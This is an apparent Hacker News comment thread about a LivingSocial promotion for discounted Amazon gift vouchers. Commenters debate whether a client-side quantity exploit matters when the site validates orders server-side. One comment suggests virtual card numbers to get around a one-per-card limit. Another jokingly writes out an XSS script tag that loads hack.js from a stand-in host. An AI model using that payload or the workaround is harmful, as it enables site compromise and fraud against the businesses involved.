Comment by ghshephard | Hacker News Reader

Comment by ghshephard | Hacker News Reader

Fact checking is important:

Tippr.com Guy:

   "If Amazon knew there was a way to buy say 100 vouchers and receive $2000 of 
   Amazon merchandise for $1000, they would probably blow a gasket. 
   Jeff you better sit down. "

livingsocial disclaimer: (I bought one - apparently I could have bought more. :-)

   "* Amazon is not a sponsor of this promotion."

This is a customer acquisition/affiliate/advertising play on living's social's part. Plus, they'll probably make some money on breakage [1] which is a component of all these coupon vendors. Certainly got my attention.

With regards to the exploit - I don't really get it - you don't get the Gift Certificate right away - I still haven't received mine, though I did get an email:

   "Thanks for getting in on this sweet deal from LivingSocial:

   $20 Amazon Gift Card*

   We'll send you an email tomorrow letting you know how you can get 
   your Amazon Gift Card* code"

Doesn't this give LivingSocial the opportunity to validate whether I'm receiving more than one coupon at a time? If all the deals go through this server side validation, does it really matter if the someone tries to play games on the client side and put in 999 coupons (and, supposedly, pays for them) - I'm presuming LivingSocial reserves the right to change that number back to "1" (and probably take their time returning your money)

[1] http://en.wikipedia.org/wiki/Breakage

1. Amazon is the top, major investor in LivingSocial ($175 Million)

2. LivingSocial has already said they are only allowing one GC purchase per credit card (so when they tabulate tomorrow, all this hackery will fail)

3. They are being issued as Amazon vouchers, not really GC, which allows only one voucher per Amazon account. If someone managed to get 100, they would need 100 Amazon accounts.

3. higher numbers sold look better for WOM marketing purposes, even if many of them are culled during the tabulation after the sale ends.

My guess is, LivingSocial know exactly what they are doing.

Citicard lets you generate virtual numbers. So #2 can easily be bypassed.

Ah, the article should have mentioned that you don't get the gift certificates immediately. That means LivingSocial's not completely screwed just yet.

Nonetheless, not having server-side validation built-in indicates pretty bad practice. For one, it causes them a lot of grief and work reversing all the transactions. But further, it indicates that they probably have gaping security flaws laying around waiting to be exploited.

My thoughts exactly. Server side validation is basic. There is nothing special you need to do to make it work and a lot of web frameworks now take care of 99% of that code for you anyways. This makes me think that on the software side of things, they are skipping basic steps. If I were looking, I'd consider SQL injections next. Or even XSS attacks. Yes, my name really is Igor<script src="http://evil.bit/hack.js type="text/javascript"></script>.

Thanks for the Breakage concept. Wonder if it applies to how empty gyms function on unattending membership fees.

Reply on news.ycombinator.com